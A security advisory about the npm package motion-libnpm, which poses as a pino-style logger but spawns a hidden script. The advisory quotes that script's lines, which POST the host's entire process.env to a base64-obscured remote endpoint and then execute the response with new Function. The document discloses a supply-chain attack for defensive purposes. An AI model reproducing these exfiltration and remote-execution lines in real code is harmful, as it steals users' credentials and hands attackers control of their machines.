motion-libnpm

[email protected] masquerades as a pino-style logger (exports module.exports.pino, ships proto.js/multistream.js/transport.js/redaction.js/levels.js, advertises 'fast','logger','stream','json' keywords) but its middleware factory in index.js spawns a detached node lib/initializeCaller.js. That script shadows process with a local object whose env.DEV_API_KEY holds a base64-encoded string that decodes to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df, then POSTs the host's full real process.env to that endpoint with header x-secret-header: secret (axios.post(apiEndpoint, {...process.env },...)). The HTTP response body is then executed via new Function('require', response.data); executor(require);, giving the remote endpoint arbitrary code execution with full Node capabilities (filesystem, network, child_process) on the installer's machine. The combination of full-environment exfiltration (AWS_*, GITHUB_TOKEN, NPM_TOKEN, CI secrets, DB creds), eval-of-remote-response RCE, base64 obfuscation of the C2 URL, and impersonation of a popular logger package is an unambiguous supply-chain attack.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.